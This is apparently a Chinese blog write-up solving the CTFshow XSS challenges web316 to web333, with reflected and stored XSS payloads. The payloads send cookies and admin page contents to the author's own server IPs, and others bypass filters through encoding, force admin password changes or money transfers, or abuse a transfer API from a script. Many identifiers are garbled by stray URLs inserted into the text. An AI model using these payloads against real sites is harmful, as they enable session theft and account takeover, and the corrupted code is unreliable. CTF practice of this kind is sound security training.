行业知识
Ctfshow web入门 XSS篇 web316-web333 详细题解 全
CTFshow XSS web316
是反射型 XSS
法一:
利用现成平台
法二:
自己搭服务器
先在服务器上面放一个接受Cookie的文件。
文件内容:
payload:
location.href="http://47.98.193.145(自己服务器的公网ip)/1111(我多建了一个文件夹)/127.php(存放上述php代码的文件)?cookie="+document.cookie
已经获取到Cookie了
之后的题都用服务器不用XSS平台了。
管理服务器我用的是https://blog.csdn.net/Jayjay___/article/details/xshell和https://blog.csdn.net/Jayjay___/article/details/xftp。
CTFshow XSS web317
和上一题一样的情景。
测试一下过滤了script了。
标签可以用 img
Payload:
CTFshow XSS web318
先进行一下测试,看看过滤了什么。
无回显
无回显
alert(1)有回显,可以用头
payload:
这些payload也行:
CTFshow XSS web319
同web318
CTFshow XSS web320
以这种方式排查过滤,试出他过滤了script,img,空格。
空格可以用%09、tab、/、/**/代替。
Payload:
扩展一下payload:
String.fromCharCode()函数:ascii码转字符
参考:https://www.runoob.com/jsref/jsref-fromcharcode.html
String.fromCharCode(111,110,108,111,97,100); 控制台运行结果如下:
用它我可以构造一个payload:
String.fromCharCode(***)就是document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie
字符串转ascii码脚本:
input_str = input("请输入字符串: ") # 获取用户输入的字符串ascii_list = []# 遍历字符串,将每个字符转换为ASCII码,并添加到列表中for char in input_str: ascii_code = ord(char) # 使用ord()函数获取字符的ASCII码 ascii_list.append(str(ascii_code)) # 将ASCII码转换为字符串并添加到列表# 将列表中的ASCII码用逗号隔开,并打印结果result = ','.join(ascii_list)print("转换后的ASCII码:", result) ascii码转字符串脚本:
def ascii_to_string(ascii_str): # 将以逗号分隔的ASCII码字符串分割成一个列表 ascii_list = ascii_str.split(',') # 使用列表推导式将ASCII码转换为字符,并连接成一个字符串 result = ''.join(chr(int(code)) for code in ascii_list) return result# 输入以逗号分隔的ASCII码字符串ascii_str = input("请输入以逗号分隔的ASCII码字符串: ")# 调用函数进行转换并打印结果string_result = ascii_to_string(ascii_str)print("转换后的字符串:", string_result) 后来想了想,刷这个是以入门为目的,这种千奇百怪的payload就先不用了,我会放在文章最后,感兴趣的师傅们看看哦。
CTFshow XSS web321
同web320
CTFshow XSS web322
过滤了script,img,iframe,https://blog.csdn.net/Jayjay___/article/details/xss,空格,分号,逗号。
网上wp说过滤了点号. 个人尝试过貌似没有。
payload:
CTFshow XSS web323
同web322
CTFshow XSS web324
同web322
CTFshow XSS web325
同web322
CTFshow XSS web326
同web322
反射型到这一题应该就截止了,现在讲讲千奇百怪的payload。
反射型绕过过滤好文:https://blog.csdn.net/Jayjay___/article/details/xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
一、
>>
原文描述是10进制转实体。
这个<其实是十进制的html 实体编码。字符串转十进制的html 实体编码脚本如下:
def string_to_html_entities(input_str): html_entities = [f'{ord(char)};' for char in input_str] result = ''.join(html_entities) return resultinput_str = input("请输入字符串: ")html_entities_result = string_to_html_entities(input_str)print("HTML实体编码:", html_entities_result) >>
同一,只不过换种写法。
三、
这里就是base64编码绕过过滤。
atob 函数:atob() 方法用于解码使用 base-64 编码的字符串。
语法:window.atob(【base64编码的数据】)
除了像这种payload这样用,还能像如下这些payload这样使用:
testtesttest
但是奇怪的是,url改成自己的vps,打了一下316没打出来。
四、
混合编码。加密顺序为:ascii编码加密、十六进制
十六进制加解密:字符16进制加密/解密 - 一个工具箱 - 好用的在线工具都在这里! (atoolbohttps://blog.csdn.net/Jayjay___/article/details/x.net)
五、
也是混合加密,加密顺序是:ascii编码加密、unicode加密。
最后放一下我搜集的各种头和绕过手段。
CTFshow XSS web327
这题开始是存储型XSS了。首先就是poster必须是admin才能发送成功,其次就是XSS的触发点应该是sender和content都可以。这题没有任何过滤。
payload:(其实这题没有过滤,懒一点直接复制之前的了)
onload=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie
CTFshow XSS web328
注册时候用户名密码都用payload(头这里没用了,可能被过滤了)
打paylaod前vps监听9023端口。
payload:
window.open('http://120.46.41.173:9023/'+document.cookie) 这些应该是管理员的cookie。抓包伪造一下cookie试试
然后放包,一个一个放,速度要慢。放一个包改一次cookie。
或者也可以直接修改储存,然后burp开启拦截,一个一个放包(这种方法就不用修改东西了,储存都改了,一个一个放包要不然flag一闪而过。)
别人的wp:TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。另外一种思路:将页面指定部分直接发送到XSS平台经分析,flag大概率在document.body.innerTehttps://blog.csdn.net/Jayjay___/article/details/xt,且数据量不大
yu师傅的超强模块也是个好办法:
CTFshow XSS web329
还是仅管理员可见。
和上题不同的是,Cookie会立刻失效。不能通过窃取Cookie的形式得到flag了。
我们分析一下原理,我们的payload作为储存型XSS,管理员访问时候能被我们窃取Cookie,那是不是还能窃取点别的东西呢,比如说管理员看到的用户名和密码。理论上来说是可以的,所以就直接获取管理员的页面信息。
问题是如何带出数据?
方法一:我们可以通过类名查找元素,通过document来获取。
现在vps上面监听端口9023。
innerHTML和outerHTML的区别
1、innerHTML:
从对象的起始位置到终止位置的全部内容,不包括Html标签。
innerTehttps://blog.csdn.net/Jayjay___/article/details/xt可替代innerHTML
2、outerHTML:
除了包含innerHTML的全部内容外, 还包含对象标签本身。
可以看到前端代码中将要显示admin密码的地方类为layui-table-cell laytable-cell-1-0-1
payload: (作为账号密码注册后登录)
window.open('http://120.46.41.173:9023/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 解释一下它的每一部分:
- window.open('http://120.46.41.173:9023/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 这是一个调用 window.open() 函数的语句,用于打开新的浏览器窗口。
- 'http://120.46.41.173:9023/' 这是一个字符串,表示要打开的网页的 URL。它包括了协议(http://)、主机名(120.46.41.173)和端口号(9023),以及路径(后面的斜杠 /)。
- document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML 这是一系列 DOM 操作,用于获取网页中特定元素的内容。
- document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1') 是一个通过类名查找元素的方法。它查找具有类名 'layui-table-cell' 和 'laytable-cell-1-0-1' 的元素,通常这是一种针对表格单元格的选择。
- [1] 表示从匹配的元素列表中选择第二个元素(JavaScript 中的数组索引从 0 开始)。
- .innerHTML 用于获取选定元素的 HTML 内容,也就是在这个表格单元格中显示的文本或 HTML。
方法二:jQuery 选择器查找类和获取内容。
上一个方法已知我们要获取的数据对应的类名字是layui-table-cell laytable-cell-1-0-1。(中间有空格表示这里有两个类,对应表格里面【用户名 密码】)
这里我们可以只读一个,也可以都读。都读的话.layui-table-cell.laytable-cell-1-0-1,只读一个的话.laytable-cell-1-0-1。
JS中indehttps://blog.csdn.net/Jayjay___/article/details/xOf() 方法返回值在字符串中第一次出现的位置。如果未找到该值,则 indehttps://blog.csdn.net/Jayjay___/article/details/xOf() 方法返回 -1。indehttps://blog.csdn.net/Jayjay___/article/details/xOf() 方法区分大小写。
先在控制台自己测试一下: (能成功获取类和内容就可以了)
$('.laytable-cell-1-0-1').each(function(indehttps://blog.csdn.net/Jayjay___/article/details/x,value){console.log(value);}); vps监听9023端口。
payload: (作为账号密码注册后登录)
$('p.layui-table-cell.laytable-cell-1-0-1').each(function(indehttps://blog.csdn.net/Jayjay___/article/details/x,value){if(value.innerHTML.indehttps://blog.csdn.net/Jayjay___/article/details/xOf('ctfshow{')>-1){window.location.href='http://120.46.41.173:9023/'+value.innerHTML;}}); 解释一下它的每一部分:
-
$('p.layui-table-cell.laytable-cell-1-0-1').each(function(indehttps://blog.csdn.net/Jayjay___/article/details/x, value) { ... });
这是一个 jQuery 选择器,它查找具有类名 'layui-table-cell'、'laytable-cell-1-0-1' 的 元素集合,并对每个元素执行一个函数。
-
.each(function(indehttps://blog.csdn.net/Jayjay___/article/details/x, value) { ... })
这是 jQuery 的遍历方法,它会遍历匹配的元素集合,并对每个元素执行包含在函数中的操作。在这里,函数接受两个参数,indehttps://blog.csdn.net/Jayjay___/article/details/x 表示当前元素在集合中的索引,value 表示当前元素的引用。
-
if (value.innerHTML.indehttps://blog.csdn.net/Jayjay___/article/details/xOf('ctfshow{') > -1) { ... }
这是在遍历中的条件语句,它检查当前元素的内容是否包含字符串 'ctfshow{'。value.innerHTML 表示当前元素的 HTML 内容,.indehttps://blog.csdn.net/Jayjay___/article/details/xOf('ctfshow{') 用于查找是否包含 'ctfshow{',如果包含则返回大于 -1 的索引,否则返回 -1。
-
window.location.href = 'http://120.46.41.173:9023/' + value.innerHTML;
如果条件满足,即当前元素的内容包含 'ctfshow{',则执行这一行代码。它会将浏览器的当前位置重定向到一个新的 URL,这个 URL 是 'http://120.46.41.173:9023/' 加上当前元素的内容。这样就可以在浏览器中打开一个新的页面,新页面的 URL 包含了 'ctfshow{' 以及其他内容。
做时小疑惑:我带出来的内容不是flag而是我的payload???
感觉是编码出了问题,看图,虽然是我的paylaod,但是加号却变成空格了,把加号转义、URL编码什么的都没用,带出来的还是我的payload。非常的异或呢。
分析一波,我猜测他确实把第一个用户的密码给我了,但是呢,第一个用户是我刚刚注册的那个,就是我的paylaod,而且呢,我的payload也包含了ctfshow{。
验证猜测,我注册一个号,账号密码都是ctfshow{i am Jay17},果不其然,监听到的内容就变成了ctfshow{i am Jay17}。
所以,这题特殊情况,我们需要改改paylaoad: (包含ctfshow{ 但是不包含script)
$('p.layui-table-cell.laytable-cell-1-0-1').each(function (indehttps://blog.csdn.net/Jayjay___/article/details/x, value) {if ((value.innerHTML.indehttps://blog.csdn.net/Jayjay___/article/details/xOf('ctfshow{') > -1)&&(value.innerHTML.indehttps://blog.csdn.net/Jayjay___/article/details/xOf('script') === -1)) {window.location.href = 'http://120.46.41.173:9023/' +value.innerHTML;}}); 如愿以偿得到flag。CTF甚至网安就是这样,需要不断地探索和分析。
方法三:querySelector方法获取内容
querySelector 是 JavaScript 中用于从文档中选择一个或多个元素的方法。这个方法允许您通过指定 CSS 选择器来查找并返回文档中匹配该选择器的第一个元素(如果有多个匹配项,则只返回第一个匹配项)。
以下是 querySelector 方法的解释:
-
基本语法:
var element = document.querySelector(selector);
- selector 是一个字符串,表示要查找的元素的 CSS 选择器。
-
示例:
// 通过ID选择元素var elementById = document.querySelector('#myId');// 通过类名选择元素var elementsByClass = document.querySelector('.myClass');// 通过标签名选择元素var elementsByTagName = document.querySelector('p');// 使用复杂的选择器,本题就是这种var complehttps://blog.csdn.net/Jayjay___/article/details/xSelector = document.querySelector('p.container > p:first-child');
payload: 其实\#top > p.layui-container能把所有源码都读了,最方便
var img = new Image();img.src = "http://120.46.41.173:9023/"+document.querySelector('#top > p.layui-container > p:nth-child(4) > p > p.layui-table-bohttps://blog.csdn.net/Jayjay___/article/details/x > p.layui-table-body.layui-table-main').tehttps://blog.csdn.net/Jayjay___/article/details/xtContent;document.body.append(img); 解释一下它的每一部分:
-
var img = new Image();
这行代码创建了一个新的图像元素对象,并将其分配给变量 img。这个对象用于在页面上加载图像。
-
img.src = "http://120.46.41.173:9023/" + document.querySelector('#top > p.layui-container > p:nth-child(4) > p > p.layui-table-bohttps://blog.csdn.net/Jayjay___/article/details/x > p.layui-table-body.layui-table-main').tehttps://blog.csdn.net/Jayjay___/article/details/xtContent;
这行代码设置了图像的 src 属性,即要加载的图像的 URL。URL 是通过拼接多个部分构建的:
- "http://120.46.41.173:9023/" 是图像的基本 URL。
- document.querySelector(...) 是一个 DOM 查询操作,用于获取页面上特定元素的内容。在这里,它获取了一个具有复杂选择器的元素,该元素位于页面的某个位置。它的目的是获取这个元素的文本内容。
- tehttps://blog.csdn.net/Jayjay___/article/details/xtContent 是获取 DOM 元素文本内容的属性。
综合起来,这行代码的目的是获取特定 DOM 元素的文本内容,然后将其添加到图像 URL 的末尾,以便通过 URL 传递给服务器。
-
document.body.append(img);
最后一行代码将创建的图像元素 img 添加到页面的 元素中,这样图像将被加载并显示在页面上。
大佬的补充:
// 定义sleep函数,转跳,睡眠,接口通信,然而由于机器人不用浏览器未实现,如果是真人则可行function sleep(numberMillis) {var now = new Date();var ehttps://blog.csdn.net/Jayjay___/article/details/xitTime=now.getTime() + numberMillis;while (true) {now = new Date();if (now.getTime() > ehttps://blog.csdn.net/Jayjay___/article/details/xitTime)return;}};window.location.href="manager.php";sleep(1000);$('.layui-table-cell.laytable-cell-1-0-1').each(function(indehttps://blog.csdn.net/Jayjay___/article/details/x,value){if(value.innerHTML.indehttps://blog.csdn.net/Jayjay___/article/details/xOf('{')>-1){document.location.href='http://https://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/xhttps://blog.csdn.net/Jayjay___/article/details/x/https://blog.csdn.net/Jayjay___/article/details/x.php?1='+value.innerHTML;}}); CTFshow XSS web330
这题可以修改密码。那做法就是XSS修改管理员密码了,当然像上题那样直接读取源码也可以。
先自己注册一个号,修改密码看看包。
可以看见,调用了一个api/api/change.php?p=123。参数p就是我们修改后的密码。Cookie用于验证身份。
我们想修改管理员的密码,一开始肯定会想到先拿管理员Cookie再伪造包。但是管理员Cookie实时变化呀。我们何尝不使管理员"主动"修改密码呢,当然,是在XSS的作用下"主动"修改密码。
payload: (还是老样子,作为账号密码,注册登录)
window.location.href='http://127.0.0.1/api/change.php?p=1717';
之后登录账号admin,密码1717
这时候会出现一种情况,我们在管理员账号上一点击用户管理,立马跳转到api,来不及复制flag。这是因为我们的XSSpayload是一个用户账号,管理员每次访问用户管理都会解析它。
解决办法:立刻Ctrl+u查看源码或者抓包。
CTFshow XSS web331
和上题类似,我们先抓包分析。这次修改密码变成了POST请求。
大体不变,payload改改就可以。
$.ajahttps://blog.csdn.net/Jayjay___/article/details/x({url:"api/change.php",method:"POST",data:{'p':'1717'}}) CTFshow XSS web332
题目描述:XSS在哪里?
这次多了好多功能,flag价格是9999。
成功注册登录后,初始金额是5。
XSS的话,我们肯定会想到让admin给我们汇款哈哈哈哈。也可以自己给别人汇款值为负数或者自己给自己汇款。
我们不管非预期,按XSS来做。先抓个包看看。
还是api,/api/amount.php。参数都是POST传递的,账号是u,款是a。
payload:
test.js:
$.ajahttps://blog.csdn.net/Jayjay___/article/details/x({ url: "http://127.0.0.1/api/amount.php", method: "POST", data: {'u': 'jay', 'a': 99999}, cache: false, success: function (res) { }}) 不知道为什么XSS出不来了,能找到的payload都试了一遍,X不出来。而且两题转账抓包都是POST提交的。。。网上说一个GET一个POST。
算了,直接给admin转负数吧,反正就是这个原理。
CTFshow XSS web333
同web332。ban了负数转账,写脚本自己转自己吧。
import requestsurl = "http://c7e62c4c-a965-48a5-9c7a-390114141304.challenge.ctf.show/api/amount.php"headers ={'Cookie':'PHPSESSID=gcvvvfpmp9c8dnfrd34b2ts93r'} #自己账号登陆后的sessionidfor i in range(0,10000): tmp=i*4 data = { 'u': 'jay', 'a': str(tmp) } res=requests.post(url,data=data,headers=headers)
上一篇:怎么注册谷歌云服务器?